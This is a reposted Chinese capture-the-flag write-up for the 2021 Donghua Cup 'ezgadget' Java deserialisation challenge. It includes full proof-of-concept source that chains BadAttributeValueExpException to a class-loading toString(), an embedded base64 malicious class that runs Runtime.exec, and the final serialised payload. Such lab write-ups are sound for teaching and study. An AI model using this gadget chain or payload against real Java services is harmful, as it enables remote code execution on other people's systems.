[东华杯2021] ezgadget

news2024/11/28 6:33:44

复现环境配置:

链接:https://pan.baidu.com/s/1t5-fV7SUETDEI5-qbZZQrw 
提取码:8do5

运行

java -jar ezgadget.jar

访问127.0.0.1:8888就可以了

分析:

ToStringBean.java

package com.ezgame.ctf.tools;

import java.io.Serializable;

public class ToStringBean extends ClassLoader implements Serializable {
    private byte[] ClassByte;

    public String toString() {
        com.ezgame.ctf.tools.ToStringBean toStringBean = new com.ezgame.ctf.tools.ToStringBean();
        Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
        Object Obj = null;
        try {
            Obj = clazz.newInstance();
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
        return "enjoy it.";
    }
}

该类继承了 serializeable 接口和 ClassLoader 接口,说明可以字节码动态加载,并且在toString 方法中,看到了 defineClass . 就可以任意代码执行,这里的ClassByte 可控,那我们就可以执行命令字节码文件,构造一个 字节码类:

构造代码:

public class Payload {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {

        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");

        ToStringBean toStringBean = new ToStringBean();
        //改属性
        Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");
        classByte.setAccessible(true);
        classByte.set(toStringBean,bytes);
    }
}

接着看控制器 IndexController.java

package com.ezgame.ctf.controller;

import com.ezgame.ctf.tools.Tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
    @ResponseBody
    @RequestMapping({"/"})
    public String index(HttpServletRequest request, HttpServletResponse response) {
        return "index";
    }

    @ResponseBody
    @RequestMapping({"/readobject"})
    public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
        byte[] b = Tools.base64Decode(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        String name = objectInputStream.readUTF();
        int year = objectInputStream.readInt();
        if (name.equals("gadgets") && year == 2021)
            objectInputStream.readObject();
        return "welcome bro.";
    }
}

看到 /readobject ,传参data 时,他会用到Tools 中的 base64解密,然后字节数组创建输入流,对象输入流,然后接收一个字符串,接收一个数字,再进行 IF 判断 

if (name.equals("gadgets") && year == 2021)

之后会调用  objectInputStream.readObject();  而这里的,在CC5中 BadAttributeValueExpException  类中重写了readObject(), 可以调用任意类的 toString() 方法

类中需要通过构造方法修改val的值, 在 通过gf.get("val",null ) 传给 valobj ,在最后面调用了readObject 里的valobj.toString();

public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

所以我们要构造 val = toStringBean类  这里 不能实例化BadAttributeValueExpException时 ,直接就把val给赋值,直接把把值赋给val否则在readObject()前就会执行toString,反序列化就无效了

//先构造
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("snowyf");
//再改值
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);

之后就是过前面的if 判断。

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);

Tools.java

package com.ezgame.ctf.tools;


import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Tools {
    public static byte[] base64Decode(String base64) {
        Base64.Decoder decoder = Base64.getDecoder();
        return decoder.decode(base64);
    }

    public static String base64Encode(byte[] bytes) {
        Base64.Encoder encoder = Base64.getEncoder();
        return encoder.encodeToString(bytes);
    }

    public static byte[] serialize(Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static Object deserialize(byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

最后调用的Tools 中的base64 加密即可

byte[] bytes1 = byteArrayOutputStream.toByteArray();
String s = base64Encode(bytes1);
System.out.println(s);

POC

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;


public class Payload {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {

        //byte[] bytes= Files.readAllBytes(Paths.get("D:\\java\\CTF\\DongHuaBei\\src\\main\\java\\com\\ezgame\\ctf\\Payload.class"));

        //修改ToStringBean 中 byte 可以加载我们的恶意字节码
        ToStringBean toStringBean = new ToStringBean();
        //改属性
        Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");
        classByte.setAccessible(true);
        classByte.set(toStringBean,bytes);

        //修改val  调用任意toString
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("Snowyf");
        Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,toStringBean);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeUTF("gadgets");
        objectOutputStream.writeInt(2021);
        objectOutputStream.writeObject(badAttributeValueExpException);

        //加密
        byte[] bytes1 = byteArrayOutputStream.toByteArray();
        String s = Tools.base64Encode(bytes1);
        System.out.println(s);

        //rO0ABXcNAAdnYWRnZXRzAAAH5XNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAF3QAB1BheWxvYWR0AAxQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AFXhzcgAMVG9TdHJpbmdCZWFu0IEsQu+2UaQCAAFbAAlDbGFzc0J5dGV0AAJbQnhwdXIAAltCrPMX+AYIVOACAAB4cAAAA5nK/rq+AAAANAAhCgAGABMKABQAFQgAFgoAFAAXBwAYBwAZAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWBwAbAQAKU291cmNlRmlsZQEADUV2aWxUZXN0LmphdmEMAA4ADwcAHAwAHQAeAQAEY2FsYwwAHwAgAQAcQ29tbW9uc0NvbGxlY3Rpb25zMy9FdmlsVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAABMACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAFQAEABYADQAXAAsAAAAEAAEAEAABABEAAAACABI=
    }
}

 

成功弹窗

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/49590.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Nevrona Rave Reports基于报表库

Nevrona Rave Reports基于报表库 Rave Reports被描述为一套复杂的Delphi和CBuilder组件,它能够实现强大的进化过程,并为用户和开发人员提供灵活的数据库覆盖。Rave可视报表设计器基本上是一个基于组件的系统,它是专门为覆盖范围而编写的。与传…

Discourse 为什不建议使用 Gmail 的 SMTP

最开始我们也用了 Gmail 的 SMTP 服务。 这里有个问题是 Gmail 的日发送邮件限制,很多人可能认为 Gmail 是没有日常发送邮件限制的,通常不是这样的,因为如果你是手工回复和发送邮件的话,这个限制还是很难达到的。 如果是计算机或…

docker镜像如何下载到本地

Docker save 命令 | 菜鸟教程 查看镜像 docker images 保存到本地 docker save 999c20aee5da > /home/artipub.tar 999c20aee5da为镜像ID docker save : 将指定镜像保存成 tar 归档文件。 语法 docker save [OPTIONS] IMAGE [IMAGE...] OPTIONS 说明: -o :…

Xlua在unity中使用luaide打断点

本功能可以让你使用同一个编辑器实现对c#和lua打断点 编辑器:vscode 注:这是luaide的付费版才能使用断点的功能,请尊重原作者的辛苦付出! 如有需要请访问官方进行操作,官方链接如下: ShowDoc一个非常适合IT团队的在…

UDS知识整理(六):通讯控制——0x28服务

目录 一、0x28服务(通讯控制)简介 二、0x28服务信息格式 (1)请求格式 (2)正响应格式 (3)负响应格式 三、0x28服务举例 (1)打开接收与发送通讯功能 一、…

如何设计分布式系统-分布式事务-TCC?

如何设计分布式系统-分布式事务-2PC、3PC?_技术分子的博客-CSDN博客 TCC 事务模型的思想类似 2PC 提交,下面对比 TCC 和基于 2PC 事务 XA 规范对比。 第一阶段 TCC 中锁定资源。 第二阶段 TCC根据锁定资源情况进行确认和取消操作。 区别 2PC/XA 是数…

【STL常用容器】:string 容器

文章目录前言一、string容器的基本概念二、字符串的创建构造三、string 赋值操作四、string 字符串拼接五、string 查找和替换六、string字符串比较七、string 字符的存取八、string的插入和删除九、string 子串例:取出邮箱中的用户名前言 时不可以苟遇,…

【JavaScript闭包】JavaScript何为闭包,浅谈闭包的形成和意义

谈到js,必然逃不了闭包。 闭包到底是啥呢?我查了不少资料,解释真的是各种各样,千奇百怪,令人困惑。 我们先来看看一下各种解释 红宝石书:闭包指的是那些引用了另一个函数作用域中变量的函数。mdn : 闭包&a…

英语不好,能不能学会编程?

编程的人都会问: 我英文差能学会编程吗?? 学会编程不须要多浅近的英语水平,想要学会编程,简略的英语水平足够了。当初的程序开发环境又很敌对,基本上关上之后不须要怎么配置,间接写代码就行&a…

Assignment写作摘要方面包含哪些内容?

英文Assignment摘要需要包含问题陈述、动机、方法、结果和结论五个要素。本文小编针对每个要素给出一些常用的句型,以供大家参考使用。 Assignment英文摘要五要素常用句型整理 1、问题陈述(problem statement)常用句型 陈述要解决的问题详解,这个问题又哪…

【JSP】EL表达式

EL表达式EL表达式干什么用的?EL表达式的使用面试题如何输出对象属性值?域中取数据注意事项EL表达式的空处理如何从Map集合中取数据如何从数组或者List集合中获取数据局部忽略EL表达式EL表达式的内置对象EL表达式的运算符EL表达式干什么用的? …

手把手教你写一个图片预览组件

一、前言 本篇主要介绍,vue项目手写一个图片预览组件,组件主要包括图片方法、图片缩小、显示原图、下载、复制等功能。 二、实现方式 首先我们需要做一个图片预览组件都有的功能表头,如下图 主要功能包括,放大、缩放比例显示、…

设计模式:02观察者模式--labview实现

引言 在观察者模式中,一种叫做被观察者的对象维护了观察者对象的集合,当被观察者对象发生改变时候,它会通知观察者。 在被观察者对象所维护的观察者集合中,能够添加或者删除观察者。被观察者状态变化能够传递给观察者。这样观察者…

路西德Lucid EDI项目测试流程

Lucid Motors路西德汽车拥有电动汽车制造、储能技术和代工生产等业务,目前已成功研制出其第一辆汽车Lucid Air,并开始对外销售。随着企业的不断发展,对自动化的要求也越来越高,作为制造型企业,Lucid早已实现机械自动化…

多个JDK版本可以吗:JDK17、JDK19、JDK1.8轻松切换(无坑版)小白也可以看懂

多个版本JDK切换 多个JDK:JDK17、JDK19、JDK1.8轻松切换(无坑版)小白也可以看懂 提示:看了网上很多教程,5w观看、32w观看、几千观看的,多多少少带点坑,这里我就把踩过的坑都给抹了 文章目录多个…

架构演进技巧

架构演进剖析 架构演进定义 定义:通过设计新的系统架构(4R)来应对业务和技术的发展变化 目的:1、应对业务发展带来新的复杂度;2、应用技术发展带来的复杂度新的解决方法 关键:1、新架构;2、…

UDS知识整理(五):安全访问——0x27服务

目录 一、0x27服务(安全访问)简介 二、0x27服务信息格式 (1)请求格式 (2)正响应格式 (3)负响应格式 三、0x27服务服务举例 (1)请求种子与发送KEY 一、…

实变函数与泛函分析基础

集合的运算 并集:1、任意两个集合 2、任意多个集合的并集或和集: 设 一族集合 ;由一切 的 元素组成的集合,其中 是固定指标集, 是 中变化的指标。 记为 ,可表示为 是 有限集, 记 …

CoreData 同步 iCloud 数据导致 App 启动超时被系统 watchdog 终止的原因及解决

问题现象 CoreData + iCloud 支持的 App 在启动时偶尔会出现被系统强制退出的情况,用 Xcode 也无法中断调试这种崩溃,查看真机上的崩溃日志如下: 如上图所示,我可以了解到 App 崩溃的原因是由于启动超时被系统看门狗(watchdog)强行关闭了: process-launch watchdog tra…

宇视雷达雷视交付|问题定位(素材收集篇)

雷达&雷视交付|问题定位(素材收集篇) 雷视一体机作为行业明星产品,具备交通信息采集、交通事件检测等功能,在交通领域的应用前景十分广阔。为了快速响应现场交付时问题定位的诉求,提升一线的素材收集规范性和效率…